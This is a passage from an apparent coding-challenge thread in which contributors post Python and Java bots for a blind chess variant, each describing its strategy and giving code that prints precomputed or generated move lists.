e6 q', 'g3 g5 q', 'e8 g6 q', 'h3 f2 q', 'd5 b5 q', 'g5 h7 q', 'e4 h4 q', 'h8 h4 q', 'e5 h5 q', 'c6 a4 q', 'd2 g2 q', 'e4 e1 q', 'e6 e4 q', 'e2 c1 q', 'h3 f3 q', 'd2 d6 q', 'h5 h3 q', 'b8 b3 q', 'c7 c3 q', 'c7 b5 q', 'f7 d5 q', 'f7 h7 q', 'c5 a6 q', 'a1 b2 q', 'd5 d2 q', 'f4 d4 q', 'd3 b2 q', 'c4 e4 q', 'a5 d8 q', 'c5 e5 q', 'b1 b5 q', 'c4 a4 q', 'c7 c2 q', 'a6 e2 q', 'h1 h4 q', 'd7 g7 q', 'b1 b8 q', 'c3 a5 q', 'h4 h6 q', 'f3 c3 q', 'd4 a4 q', 'b8 b1 q', 'h1 h5 q', 'e6 c7 q', 'd5 d1 q', 'e7 e3 q', 'd4 d8 q', 'e3 f1 q', 'b4 a6 q', 'a6 c6 q', 'c5 a5 q', 'e5 e1 q', 'f7 d6 q', 'b1 b6 q', 'd4 d7 q', 'e6 c8 q', 'd2 d8 q', 'd6 b5 q', 'e4 e7 q', 'f5 g7 q', 'c6 c4 q', 'c4 c6 q', 'd3 f2 q', 'a4 d7 q', 'f3 g1 q', 'c7 g3 q', 'g8 g2 q', 'c4 a3 q', 'd7 b8 q', 'g8 e8 q', 'a3 c3 q', 'b5 a3 q','b5 a7 q', 'a5 d2 q', 'f2 h4 q', 'f1 e3 q', 'g8 g5 q', 'c2 c5 q', 'a2 d5 q', 'd6 a3 q', 'd3 b4 q', 'h5 g7 q', 'g1 e1 q', 'c5 c3 q', 'g6 g4 q', 'b3 f7 q', 'f2 e4 q', 'c4 c7 q', 'e5 e8 q', 'g6 f8 q', 'h1 h7 q', 'g4 g7 q', 'a5 a2 q', 'f7 h8 q', 'f2 h2 q', 'd7 d1 q', 'f5 d5 q', 'd6 g6 q', 'c6 a8 q', 'g1 g7 q', 'e3 c2 q', 'c2 c7 q', 'd2 d7 q', 'e8 d6 q', 'b7 e7 q', 'f7 g5 q', 'g5 g2 q', 'c6 c8 q', 'f2 c2 q', 'h6 f6 q', 'f8 e6 q', 'b7 c5 q', 'c3 c5 q', 'g5 c1 q', 'd6 b8 q', 'e1 f3 q', 'a7 d7 q', 'f7 c7 q', 'h8 a8 q', 'c2 b4 q', 'g1 g4 q', 'd1 e3 q', 'h4 h2 q', 'c3 c1 q', 'a5 a3 q', 'c6 e8 q', 'b6 a4 q', 'b4 d4 q', 'h8 h3 q', 'a4 a2 q', 'a5 a7 q', 'c5 f8 q', 'c4 f1 q', 'f4 g2 q', 'f5 h7 q', 'f4 f7 q', 'd4 g4 q', 'b2 c4 q', 'c2 c6 q', 'f1 a6 q', 'b6 f2 q', 'a2 c4 q', 'e7 e1 q', 'd3 d6 q', 'a6 c8 q', 'a3 e7 q', 'c6 g2 q', 'g5 g7 q', 'd7 d2 q', 'g3 f1 q', 'b2 e2 q', 'a6 a8 q','c5 c2 q', 'g3 g6 q', 'h8 h2 q', 'g4 h2 q', 'e2 e8 q', 'h8 b8 q', 'd7 d3 q', 'c3 g7 q', 'e1 d3 q', 'h1 h6 q', 'f3 f1 q', 'f8 a3 q', 'f2 d3 q', 'f7 h5 q', 'c5 a3 q', 'd3 d7 q', 'e6 g7 q', 'f6 f8 q', 'b3 a5 q', 'f6 c6 q', 'e3 h3 q', 'e6 e2 q', 'b6 b3 q', 'g4 g2 q', 'a4 a7 q', 'a4 a6 q', 'g8 g4 q', 'f4 c1 q', 'b4 a2 q', 'e3 e6 q', 'c3 a1 q', 'b4 b6 q', 'd5 a2 q', 'c3 e1 q', 'c3 c7 q', 'b5 d5 q', 'd3 d8 q', 'a5 b7 q', 'd6 d2 q', 'a7 b5 q', 'd6 c8 q', 'g7 f5 q', 'h1 a1 q', 'h6 d2 q', 'a2 d2 q', 'e7 a7 q', 'a3 a1 q', 'd6 d1 q', 'e4 e8 q', 'f3 b3 q', 'g8 d8 q', 'b3 b6 q', 'd5 h5 q', 'f7 f4 q', 'c3 f3 q', 'f2 g4 q', 'e3 e7 q', 'd6 d3 q', 'd8 e6 q', 'b5 b3 q', 'c6 c3 q', 'h7 f7 q', 'h3 f1 q', 'c3 c6 q', 'g3 g7 q', 'g1 d1 q', 'e2 a2 q', 'a4 d1 q', 'a8 c6 q', 'h3 h5 q', 'c6 c2 q', 'd4 h4 q', 'd4 a7 q', 'g1 g5 q', 'g6 g3 q', 'd6 a6 q', 'f5 f2 q', 'h1 h8 q', 'a5 d5 q', 'd5 g5 q','b7 d6 q', 'e4 h7 q', 'b7 f7 q', 'd2 b1 q', 'c2 g2 q', 'h6 h4 q', 'b2 f2 q', 'e8 c6 q', 'c7 g7 q', 'a7 d4 q', 'e5 h2 q', 'd3 a3 q', 'h1 b1 q', 'a6 f1 q', 'g4 c8 q', 'b6 b8 q', 'e6 e3 q', 'f2 f5 q', 'd5 a8 q', 'a7 e7 q', 'e8 c7 q', 'f5 c8 q', 'a3 c1 q', 'h4 g2 q', 'b3 e3 q', 'b4 b7 q', 'a7 c5 q', 'h8 h1 q', 'b2 d3 q', 'e3 g2 q', 'b6 e6 q', 'e1 h4 q', 'g3 c7 q', 'g8 g3 q', 'b6 c8 q', 'a2 b4 q', 'f2 b2 q', 'f3 a8 q', 'e7 h7 q', 'b5 b2 q', 'a4 b2 q', 'e8 h5 q', 'g6 c2 q', 'd3 c1 q', 'a4 d4 q', 'b3 b1 q', 'e6 d8 q', 'h4 d8 q', 'f2 c5 q', 'a5 e5 q', 'g1 g6 q', 'h3 d7 q', 'a7 c6 q', 'a1 c3 q', 'g7 e7 q', 'f7 b7 q', 'a2 e2 q', 'e6 e1 q', 'g3 d3 q', 'b1 d3 q', 'd8 c6 q', 'h2 f2 q', 'g2 f4 q', 'e1 c3 q', 'h3 h6 q', 'e3 d1 q', 'b1 e4 q', 'g6 g2 q', 'h5 d1 q', 'd3 h3 q', 'e7 g8 q', 'c6 f6 q', 'f7 f3 q', 'e6 h6 q', 'a2 e6 q', 'a7 f7 q', 'f2 f7 q', 'c8 g8 q', 'h8 f6 q', 'd4 a1 q','g3 e1 q', 'd6 e8 q', 'e3 b3 q', 'a2 f2 q', 'b5 f1 q', 'f2 f6 q', 'f4 b8 q', 'd1 c3 q', 'f8 d7 q', 'g6 e8 q', 'b7 b4 q', 'h2 e5 q', 'e3 e8 q', 'e2 h2 q', 'f5 b1 q', 'a3 a5 q', 'h6 h8 q', 'h7 e4 q', 'f6 h8 q', 'f7 d8 q', 'a6 d6 q', 'h5 h8 q', 'h2 f4 q', 'a7 e3 q', 'c1 g1 q', 'f7 f2 q', 'e6 b6 q', 'a6 a4 q', 'g2 e2 q', 'g4 d4 q', 'f4 f1 q', 'a8 d5 q', 'c5 c8 q', 'd3 e1 q', 'e5 h8 q', 'f6 a1 q', 'c4 c1 q', 'h3 e3 q', 'a2 c3 q', 'h4 h7 q', 'b7 b3 q', 'h6 h3 q', 'c7 c1 q', 'f7 h6 q', 'b2 b6 q', 'b5 e8 q', 'a7 a4 q', 'f5 f8 q', 'c2 c8 q', 'f7 c4 q', 'a2 a5 q', 'c8 d6 q', 'b2 b5 q', 'b4 f8 q', 'c4 f4 q', 'b4 e1 q', 'a3 d3 q', 'h7 f5 q', 'e2 g1 q', 'a1 d4 q', 'h4 d4 q', 'c7 e8 q', 'c8 h8 q', 'c7 a6 q', 'b3 c1 q', 'h3 h1 q', 'b7 b2 q', 'a3 f8 q', 'b3 f3 q', 'a5 a8 q', 'c1 d3 q', 'a4 a1 q', 'g7 e6 q', 'a8 e4 q', 'g5 d5 q', 'b8 d6 q', 'a4 e4 q', 'b8 e5 q', 'h5 d5 q', 'g6 d6 q','h7 d3 q', 'd2 h2 q', 'b4 e4 q', 'e4 b4 q', 'f4 c4 q', 'h6 e6 q', 'e5 b5 q', 'e4 b1 q', 'b2 b7 q', 'c3 g3 q', 'e1 c2 q', 'h4 e1 q', 'e5 a5 q', 'f6 b6 q', 'd7 h7 q', 'g6 h8 q', 'e4 a8 q', 'f1 d2 q', 'c1 h1 q', 'h4 h1 q', 'c5 f5 q', 'h5 e8 q', 'c4 c8 q', 'g7 g4 q', 'f2 h3 q', 'f2 h1 q', 'a1 e5 q', 'h5 h2 q', 'f3 h1 q', 'f3 f8 q', 'b5 e5 q', 'c8 e7 q', 'h7 e7 q', 'g8 c8 q', 'e5 b8 q', 'd1 f2 q', 'b6 f6 q', 'g7 a1 q', 'g2 g5 q', 'b8 g8 q', 'g2 e3 q', 'f5 c5 q', 'b2 g2 q', 'h3 h7 q', 'f2 d1 q', 'e5 a1 q', 'b5 b8 q', 'd8 f7 q', 'e4 a4 q', 'f6 f1 q', 'b1 g1 q', 'h1 f3 q', 'd6 h6 q', 'c5 c1 q', 'g6 g8 q', 'c2 e1 q', 'c3 c8 q', 'a2 g2 q', 'f2 a2 q', 'a8 c7 q', 'b7 g7 q', 'e8 g7 q', 'h7 h4 q', 'c2 a3 q', 'a6 a3 q', 'e4 h1 q', 'c8 b6 q', 'f7 a7 q', 'a7 g7 q', 'a3 a6 q', 'g1 c1 q', 'f4 f8 q', 'b4 b1 q', 'g1 g8 q', 'f5 f1 q', 'g7 d7 q', 'a6 e6 q', 'b8 h8 q', 'h6 c1 q', 'c4 g4 q','a3 e3 q', 'g7 g3 q', 'e6 a6 q', 'g8 g1 q', 'c4 g8 q', 'h2 e2 q', 'c6 c1 q', 'c6 g6 q', 'f7 f1 q', 'a7 a3 q', 'e3 g1 q', 'g2 d2 q', 'e3 a3 q', 'h2 f1 q', 'h7 f8 q', 'a5 a1 q', 'e8 b5 q', 'h2 d6 q', 'a6 a2 q', 'f7 b3 q', 'a3 a7 q', 'b6 a8 q', 'a2 a6 q', 'g3 g1 q', 'a6 b8 q', 'c5 g5 q', 'c2 h7 q', 'f2 b6 q', 'b1 h1 q', 'h8 e5 q', 'f2 f8 q', 'h8 f7 q', 'c1 e2 q', 'g3 c3 q', 'a4 a8 q', 'g2 g6 q', 'h2 h5 q', 'a8 f3 q', 'e1 b4 q', 'e6 g8 q', 'h3 d3 q', 'h5 c5 q', 'g7 c7 q', 'c7 h7 q', 'a1 c2 q', 'a5 f5 q', 'g2 c2 q', 'g2 a8 q', 'b1 f5 q', 'c1 b3 q', 'b3 g3 q', 'g3 h1 q', 'g4 c4 q', 'b4 f4 q', 'a7 a2 q', 'g8 a8 q', 'c2 h2 q', 'g5 c5 q', 'g7 h5 q', 'a7 h7 q', 'a2 a7 q', 'h6 h2 q', 'h7 d7 q', 'a3 f3 q', 'b4 b8 q', 'a4 f4 q', 'b7 a5 q', 'c7 h2 q', 'h1 e4 q', 'b2 b8 q', 'g1 a1 q', 'a2 h2 q', 'c4 h4 q', 'c5 h5 q', 'b3 a1 q', 'a1 f6 q', 'a5 g5 q', 'h2 d2 q', 'b2 a4 q', 'a5 h5 q','b7 b1 q', 'f3 a3 q', 'g8 b8 q', 'h7 c7 q', 'h3 c8 q', 'g6 c6 q', 'h4 c4 q', 'g7 g2 q', 'b6 g6 q', 'a8 b6 q', 'h4 h8 q', 'g2 b2 q', 'b5 b1 q', 'b3 b8 q', 'h2 c2 q', 'a3 b1 q', 'h7 b7 q', 'g1 b1 q', 'h6 d6 q', 'h7 h3 q', 'b5 f5 q', 'f8 h7 q', 'c3 h3 q', 'f4 b4 q', 'a6 f6 q', 'h2 b2 q', 'g2 g7 q', 'e1 g2 q', 'g5 g8 q', 'd4 h8 q', 'g7 b7 q', 'a5 e1 q', 'b6 b1 q', 'b7 h7 q', 'h8 g6 q', 'b8 f4 q', 'a4 e8 q', 'h7 a7 q', 'h6 g8 q', 'g2 h4 q', 'f1 h2 q', 'a7 c8 q', 'g4 g1 q', 'a7 a1 q', 'h5 h1 q', 'a4 g4 q', 'c5 g1 q', 'b2 h2 q', 'a2 a8 q', 'h2 a2 q', 'f4 a4 q', 'd8 b7 q', 'b7 d8 q', 'h2 h6 q', 'f5 b5 q', 'a2 f7 q', 'd5 g8 q', 'f6 a6 q', 'h3 c3 q', 'a6 a1 q', 'a2 c1 q', 'f5 a5 q', 'd4 g1 q', 'a3 a8 q', 'd1 b2 q', 'b4 g4 q', 'g4 g8 q', 'g8 e6 q', 'h8 d4 q', 'h2 h7 q', 'g2 a2 q', 'a3 g3 q', 'g7 a7 q', 'h3 h8 q', 'c6 h6 q', 'e8 a4 q', 'b2 d1 q', 'd5 h1 q', 'g5 g1 q', 'g3 b3 q','e1 a5 q', 'b1 g6 q', 'a7 f2 q', 'a1 b3 q', 'g1 e3 q', 'b5 g5 q', 'h3 g1 q', 'g3 b8 q', 'a4 h4 q', 'h7 h2 q', 'h1 f2 q', 'a6 g6 q', 'g6 b1 q', 'b7 h1 q', 'h6 c6 q', 'g3 g8 q', 'g4 b4 q', 'b3 h3 q', 'g7 e8 q', 'g8 d5 q', 'h6 h1 q', 'g1 d4 q', 'h1 d5 q', 'f2 a7 q', 'c8 a7 q', 'g6 b6 q', 'g5 b5 q', 'g4 a4 q', 'h5 b5 q', 'a1 g7 q', 'g5 a5 q', 'b4 h4 q', 'h4 b4 q', 'a8 g2 q', 'c3 h8 q', 'b2 h8 q', 'a3 h3 q', 'c6 h1 q', 'h5 a5 q', 'g6 g1 q', 'b5 h5 q', 'b6 h6 q', 'b8 g3 q', 'h1 g3 q', 'c1 a2 q', 'h3 b3 q', 'f7 a2 q', 'a6 h6 q', 'h4 a4 q', 'g3 a3 q', 'g2 e1 q', 'h7 h1 q', 'g2 g8 q', 'h2 h8 q', 'g7 g1 q', 'h3 a3 q', 'g6 a6 q', 'h8 c3 q', 'h6 b6 q', 'b3 g8 q', 'h7 c2 q', 'h6 a6 q', 'h2 c7 q', 'h1 c6 q', 'b6 g1 q', 'g1 c5 q', 'g8 c4 q', 'h8 b2 q', 'h1 b7 q', 'b1 h7 q', 'g8 b3 q', 'g1 b6 q', 'b8 h2 q', 'a1 h8 q', 'a8 h1 q', 'h8 a1 q', 'a2 g8 q', 'g1 a7 q', 'h2 b8 q', 'h7 b1 q','a7 g1 q', 'g8 a2 q', 'h1 a8 q'] def move_stream(): while True: for move in all_moves: yield move for m in move_stream(): print(m) ``` [Answer] ### Prickly Focuses on defensive captures, by sending a large number of probably-illegal moves after each move in its opening plan. The opening plan focuses on moving pieces to locations where they can easily defend each other. It tries to transition into a Zombie March midgame with an endgame based on a group of queens sweeping the board, but usually that fails and it winds up in its Just Everything fallback mode. ``` #! /usr/bin/python import sys import random _, color, seed = sys.argv[:3] random.seed(seed) colnames = "abcdefgh" rownames = "12345678" if color == "w" else "87654321" def coord2code((col, row)): return colnames[col] + rownames[row]; def sendmove((a, b)): print coord2code(a), coord2code(b) def long_safe_move(start, step, length): a,b = start x,y = step i = 0 while i < length: m_start = (a+x*i,b+y*i) j = length while j > i: m_end = (a+x*j,b+y*j) if m_end[0] >= 0 and m_end[0] <= 7 and m_end[1] >= 0 and m_end[1] <= 7: yield (m_start, m_end) j -= 1 i += 1 captures = ([((x,1),(x+1,2)) for x in range(7)] + [((x+1,1),(x,2)) for x in range(7)] + [((0,0),(0,1)), ((1,0),(3,1)), ((2,0),(1,1)), ((2,0),(3,1))] + [((7,0),(7,1)), ((6,0),(4,1)), ((5,0),(6,1)), ((5,0),(4,1))] + [((3,0),(2,1)), ((3,0),(3,1)), ((3,0),(4,1)), ((4,0),(5,1))]) captures.remove(((3,1),(4,2))) captures.remove(((4,1),(3,2))) sendmove(((6,1),(6,2))) captures = [m for m in captures if not (6,1) in m] for m in captures: sendmove(m) sendmove(((6,0),(5,2))) captures = ([m for m in captures if not (6,0) in m and m[0] != (5,2)] + [((5,2),(7,1)), ((5,2),(3,1))] + [((x,2),(x+1,3)) for x in range(7)] + [((x+1,2),(x,3)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((5,0),(6,1))) captures = ([m for m in captures if not (5,0) in m] + [((6,1),(5,2))]) for m in captures: sendmove(m) sendmove(((4,0),(6,0))) captures = ([m for m in captures if not (4,0) in m] + [((5,0),(5,1)), ((6,0),(5,1)), ((6,0),(6,1)), ((6,0),(7,1)), ((6,0),(5,0))] + [((x,3),(x+1,4)) for x in range(7)] + [((x+1,3),(x,4)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((1,1),(1,2))) captures = [m for m in captures if not (1,1) in m] for m in captures: sendmove(m) sendmove(((1,0),(2,2))) captures = ([m for m in captures if not (1,0) in m and m[0] != (2,2)] + [((2,2),(0,1)), ((2,2),(4,1))] + [((x,4),(x+1,5)) for x in range(7)] + [((x+1,4),(x,5)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((2,0),(1,1))) captures = ([m for m in captures if not (2,0) in m] + [((1,1),(2,2))] + [((x,5),(x+1,6)) for x in range(7)] + [((x+1,5),(x,6)) for x in range(7)]) for m in captures: sendmove(m) for m in captures: sendmove(m) sendmove(((3,1),(3,3))) sendmove(((3,2),(3,3))) captures = ([m for m in captures if not (3,1) in m and not (3,2) in m] + [((5,2),(3,3))] + [((x,6),(x+1,7)) for x in range(7)] + [((x+1,6),(x,7)) for x in range(7)]) for m in captures: sendmove(m) for m in captures: sendmove(m) sendmove(((4,1),(4,3))) sendmove(((4,2),(4,3))) captures = ([m for m in captures if not (4,1) in m and not (4,2) in m] + [((2,2),(4,3))]) for m in captures: sendmove(m) for i in range(8): sendmove(((i,6),(i,7))) for m in captures: sendmove(m) sendmove(((3,3),(3,4))) captures = ([m for m in captures if not (3,3) in m] + [((2,2),(3,4))]) for m in captures: sendmove(m) sendmove(((4,3),(4,4))) captures = ([m for m in captures if not (3,3) in m] + [((5,2),(4,4)), ((5,2),(3,3)), ((2,2),(4,3))]) for m in captures: sendmove(m) captures = [m for m in captures if not (2,2) in m and not (5,2) in m and not (1,1) in m and not (6,1) in m] for m in long_safe_move((0,7), (1,0), 7): sendmove(m) for m in captures: sendmove(m) for m in long_safe_move((7,7), (-1,0), 7): sendmove(m) for m in captures: sendmove(m) for m in long_safe_move((1,1), (1,1), 6): sendmove(m) captures = [m for m in captures if not (1,1) in m] for m in captures: sendmove(m) sendmove(((6,1),(6,0))) sendmove(((7,1),(6,0))) for m in long_safe_move((6,1), (-1,1), 6): sendmove(m) captures = [m for m in captures if not (6,1) in m] for m in captures: sendmove(m) sendmove(((2,1),(2,3))) sendmove(((2,2),(2,3))) captures = [m for m in captures if not (2,1) in m and not (2,2) in m] for m in captures: sendmove(m) def buildmoves((col, row)): # Knight moves for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2/x, -2/x): if y+row >= 0 and y+row <= 7: yield (x+col, y+row) # Bishop moves for x in range(1,8): if col+x <= 7: if row+x <= 7: yield (col+x, row+x) if row-x >= 0: yield (col+x, row-x) if col-x >= 0: if row+x <= 7: yield (col-x, row+x) if row-x >= 0: yield (col-x, row-x) # Rook moves for x in range(1,8): if col+x <= 7: yield (col+x, row) if col-x >= 0: yield (col-x, row) if row+x <= 7: yield (col, row+x) if row-x >= 0: yield (col, row-x) def allmoves(): for row in range(8): for col in range(8): for to in buildmoves((row, col)): yield ((row, col), to) movelist = [(a,b) for (a,b) in allmoves()] random.shuffle(movelist) for (a, b) in movelist: if a[1] != 7: sendmove((a, b)) for i in range(8): sendmove(((i,7),(i,6))) for i in range(7): sendmove(((i,7),(7,i))) for i in range(1,8): sendmove(((i,7),(0,7-i))) for m in captures: sendmove(m) for m in long_safe_move((0,6), (1,0), 6): sendmove(m) for m in captures: sendmove(m) sendmove(((6,6),(6,7))) sendmove(((5,6),(5,5))) sendmove(((4,6),(4,4))) for m in captures: sendmove(m) for (a, b) in movelist: if a[1] < 4 and b[1] < 4: sendmove((a, b)) for i in range(3): for m in long_safe_move((7-2*i,6), (-1,0), 2): sendmove(m) for m in long_safe_move((6-2*i,7), (-1,0), 2): sendmove(m) for m in long_safe_move((5-2*i,5), (-1,0), 2): sendmove(m) for m in long_safe_move((4-2*i,4), (-1,0), 2): sendmove(m) for m in captures: sendmove(m) while True: for m in movelist: sendmove(m) ``` [Answer] # Backline Backline attempts to take advantage of the fact that its opponent can't see what's going on. It sends one piece at a time into its opponent's back rank, capturing as many pieces as possible before returning each piece to where it started so that it remembers where it is for next time. Backline is written in Python 3.7. ``` #! /usr/bin/python3 import random import sys _, colour, seed = sys.argv[:3] random.seed(seed) files = "abcdefgh" def colour_move(start, end, flip): if colour == "w": return (7 - start[0] if flip else start[0], start[1]), (7 - end[0] if flip else end[0], end[1]) else: return (7 - start[0] if flip else start[0], 7 - start[1]), (7 - end[0] if flip else end[0], 7 - end[1]) def stringify_move(start, end): return f"{files[start[0]]}{start[1] + 1} {files[end[0]]}{end[1] + 1} q" # This guarantees that if the piece is not taken, it reaches the final square as quickly as possible. def safely_make_long_move(start, end): file_change = end[0] - start[0] rank_change = end[1] - start[1] used_squares = [start] while used_squares[-1][0] != end[0] or used_squares[-1][1] != end[1]: used_squares.append((used_squares[-1][0] + (1 if file_change > 0 else (-1 if file_change < 0 else 0)), used_squares[-1][1] + (1 if rank_change > 0 else (-1 if rank_change < 0 else 0)))) for i in range(len(used_squares) - 1): for j in reversed(range(i + 1, len(used_squares))): yield (used_squares[i]), (used_squares[j]) yield None def rook_attack(p): flip = p == "h" # Move pawn forward two spaces. yield stringify_move(*colour_move((0, 1), (0, 3), flip)) track = [(0,0), (0,2), (1,2), (1,7), (0,7), (7,7), (7,6), (1,6), (1,2), (0,2), (0,0)] for i in range(len(track) - 1): move_gen = safely_make_long_move(track[i], track[i+1]) while True: move = next(move_gen) if move: yield stringify_move(*colour_move(*move, flip)) else: break yield None def bishop_attack(p): flip = p == "f" # Move pawn forward two spaces. yield stringify_move(*colour_move((3, 1), (3, 2), flip)) track = [(2,0), (3,1), (2,2), (7,7), (6,6), (5,7), (4,6), (3,7), (2,6), (1,7), (0,6), (2,4), (1,3), (3,1), (2,0)] for i in range(len(track) - 1): move_gen = safely_make_long_move(track[i], track[i+1]) while True: move = next(move_gen) if move: yield stringify_move(*colour_move(*move, flip)) else: break yield None def queen_attack(p): flip = False # Move pawn forward two spaces. yield stringify_move(*colour_move((4, 1), (4, 2), flip)) track = [(3,0), (7,4), (7,7), (0,7), (0,5), (7,5), (7,4), (4,1)] for i in range(len(track) - 1): move_gen = safely_make_long_move(track[i], track[i+1]) while True: move = next(move_gen) if move: yield stringify_move(*colour_move(*move, flip)) else: break yield None def knight_attack(p): flip = p == "g" # Move pawn forward two spaces. track = [(1,0), (2,2), (1,4), (2,6), (0,7), (1,5), (3,6), (5,7), (6,5), (7,7), (5,6), (3,7), (1,6), (2,4), (0,3), (2,2), (1,0)] for i in range(len(track) - 1): yield stringify_move(*colour_move(track[i], track[i+1], flip)) yield None # Just Everything's code: colnames = "abcdefgh" rownames = "12345678" if colour == "w" else "87654321" def coord2code(col, row): return colnames[int(col)] + rownames[int(row)] def buildmoves(col, row): # Knight moves for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2/x, -2/x): if y+row >= 0 and y+row <= 7: yield (x+col, y+row) # Bishop moves for x in range(1,8): if col+x <= 7: if row+x <= 7: yield (col+x, row+x) if row-x >= 0: yield (col+x, row-x) if col-x >= 0: if row+x <= 7: yield (col-x, row+x) if row-x >= 0: yield (col-x, row-x) # Rook moves for x in range(1,8): if col+x <= 7: yield (col+x, row) if col-x >= 0: yield (col-x, row) if row+x <= 7: yield (col, row+x) if row-x >= 0: yield (col, row-x) def allmoves(): for row in range(8): for col in range(8): for to in buildmoves(row, col): yield ((row, col), to) movelist = [(coord2code(*a), coord2code(*b)) for (a,b) in allmoves()] random.shuffle(movelist) # Avoid Scholar print("g2 g3") print("g7 g6") # Choose random piece to attempt to kill the enemy with. used_piece = ["a", "b", "c", "d", "f", "g", "h"] random.shuffle(used_piece) while True: # Try to kill off their pieces by sending one piece at a time in to attack for p in used_piece: if p in ["a", "h"]: move_gen = rook_attack(p) elif p in ["b", "g"]: move_gen = knight_attack(p) elif p in ["c", "f"]: move_gen = bishop_attack(p) elif p == "d": move_gen = queen_attack(p) while True: move = next(move_gen) if move: print(move) else: break # Break out of possible checks by trying every possible move once. for (a, b) in movelist: print(a, b, "q") ``` Apologies for the somewhat messy code. Backline does reasonably well; against the current field it placed first in my tests, with 107 of 160 possible points. [Answer] # BlindMoveMaker1 BlindMoveMaker1 follows a genetic approach. During a game BlindMoveMaker1 uses a constant move list with fixed order which was evolved by a genetic algorithm (GA) off line. BlindMoveMaker1 simply cycles through the move list repeatedly. A move list starts with an opening part of 200 moves, followed by a main part of 1792 moves. The opening part is a list of genetically picked moves (from the set of all possible moves) and move order. The main part is guaranteed to contain every possible move (not to lose because of a forfeit) but in a genetically tuned order. Each move list was developed for white. When playing black each move is re-coded for black (e.g. turns 'e2 e4' into 'e7 e5'). The move lists were evolved off line by my GA playing against my beloved enemies (so far): Pokey, Prickly and Backline as sparring partners. My GA is designed in such a way that the opening part is in the center of the genetic mutating (and crossover) storm while trying to evolve better move lists. This GA is still running on my laptop. This way I hope to find even better move lists until the deadline. Until now, it self-learned how to resist Pokey's/Prickly's early checkmate attempts. ``` import java.util.Random; // Version 2.0 public class BlindMoveMaker1 { public static void main(String[] argv) { String list[] = { /* fitness conf id gen */ /* 0.4862317 31 94e0a298 "d6c8 a4b3 e5b2 c1e1 h5h8 g6a6 c2c3 d6h2 c1h1 g2g5 c1f1 b1b8 d1d6 f3e5 d3d8 e6e2 g4g7 d6c7 d1b2 h6h4 c6c8 f7f3 c5b5 e1f3 b1a1 d6b8 e6f7 f3h1 h8e5 e1h1 b7a6 f6g5 a4b5 f2a2 f1e1 c2c1 d2f2 f7g7 a2a8 b6g6 h7h2 f2f3 b6d6 d5d1 c1c6 g2d2 f7g8 c1c2 e1c2 h6e6 d4d6 b4a2 g8d8 c4g8 e8h8 h3f2 c3h3 c5c6 c5f5 d4d1 d7c8 h2f4 c1a3 f3a8 b1e1 e7g6 h6d6 d4d2 d7b6 a2b2 h7g5 c6h1 b7f3 a8g2 f4a4 c1c5 d5b6 h5e8 f1h2 f6f3 a6b8 c4g8 e7e1 b7d7 f3h3 b7b3 b2b5 c6g2 g4g7 a3a4 g5d2 a3f3 b5a3 f1c4 h2f3 h2g4 g5h5 h7h3 b1d3 d4a1 a8d8 a5d2 d5h1 c7c4 f2e2 g7c7 e8e4 a4a7 c4c1 d1d7 h7h2 c2a1 e4c5 h1c1 h3h2 b1d3 f6h5 a3a4 h7h1 h1h3 f2f7 g5e3 e2c1 h1h5 g3d3 h4h1 c6e4 c6b8 a7a3 g4h3 c5d3 c8d8 f1f7 d3e5 b2d1 g7f5 c7c8 a4h4 a5c3 c2c6 a7e7 g3c3 e4c6 b3f3 f4d2 a8c7 h2a2 g3e2 f6h7 b8a7 d2d5 d7d1 g6b1 e2d4 d8b8 d4f6 h1g1 c2d4 g8b3 f7c4 c2a3 h1g1 c3a3 b5b2 e4f4 d1d3 b5d3 f8c5 a6f1 e2a6 a1d1 c8b8 c4c1 c5f5 a7a6 g6a6 e3d3 b1c3 b6a7 c1c2 f5e7 h8g8 e4c2 a4c6 a5d5 c5c2 f4e2 c7e5 e8d6 d6c8 e3f5 c3e2 f3a8 c8g8 c1c6 a4e8 g7e5 c6h1 f4g5 e1e2 f1h3 a4a5 a5a6 f4g5 g6h5 h4h5 g4g3 a6a7 g3g4 g6g7 h6h7 h2f4 h2h3 c5b6 b8a8 g7g8 a7a8 e2g4 e1d1 h6h3 h3h4 a2a3 h5g5 a2e6 g5f5 g8f7 b2b3 e6f4 c3b4 e1e2 c5c6 c4c5 c3c4 g4g5 f1e2 b7b8 b6b7 b1b8 g4g2 d4c5 d2e3 g8h8 a1a2 d1d2 d4d5 d1e1 h7g5 f7f8 b4b5 d7d8 h5g6 b4a5 b4c5 e2d2 d2e2 g4h5 a2e2 c1d1 b5b6 g8f8 b1c3 f5f6 g7f8 f1e1 f5h6 h8g7 a5c4 c3b3 c6c7 e4f5 g6h7 e1d2 e7e8 e6e7 c7c8 f2g2 e2f2 f4f5 h2h1 e7d8 e5e6 d6e7 h7g8 f8e7 g2f3 c1b2 g8h7 f3a3 d2c1 f6f7 e6d7 f8g8 d7b6 c5b4 c1d2 h8g8 f7g8 e2e3 f8e8 d8c8 a1b1 b2h8 c3d4 d5c6 d2d3 e2d1 e2f3 f2f3 b2c3 e3e4 e7f8 f3g4 b7c8 c7b8 a1a5 c2c3 c4b5 a1a3 g7h8 d8e8 f4e5 d3c3 e8c8 h8h7 c8b8 d5d6 b7a8 d2d1 e2d3 f5f1 g6f7 a7f2 f4d2 c6d7 g1g2 d1c2 e1f1 d7e8 h2h4 b2d3 d6d7 d3e3 g3f4 e5d6 g7g1 g3h4 h3h1 a7b8 e8f8 d1e2 c4d5 c6b7 c8d8 h6h5 e3d2 b1a1 b8a7 h4g5 a8b7 c5d6 c7d8 e8e7 d3c4 f5f4 c2c4 h6g7 g2f1 g1f3 d5b7 h1h3 a7c5 f3e4 f4d6 h3h2 h8e8 g7f7 a2b2 b6c5 g2h2 f1g2 c4c3 d3d2 a1b2 d7c8 f6g7 e7d6 d8d7 c1e3 b6c6 a2a4 f6e5 a6b6 a2b3 f3e2 d3e2 b6a7 a2c3 c4e4 b3b2 g3h1 c5h5 b2a3 g2h3 b8c8 a5c3 d3d4 d6c7 g2f2 b7d7 b1c1 h8a8 b4c3 f1f2 c1b1 d3e4 d7e6 f7g7 b4c4 d2d4 d5e4 d7c7 b3c3 b7d8 e5f6 d4e4 g4f5 g3h3 f1g1 a3b3 e6f7 b7g2 h3g3 e4c5 h3g4 c3d2 a4b5 b2a2 e5d5 g1f1 g5g6 h4g3 f7g6 d6b6 b5c6 h3h5 h1g2 h7g6 f2f4 g6f5 g7g6 c7d6 f4f3 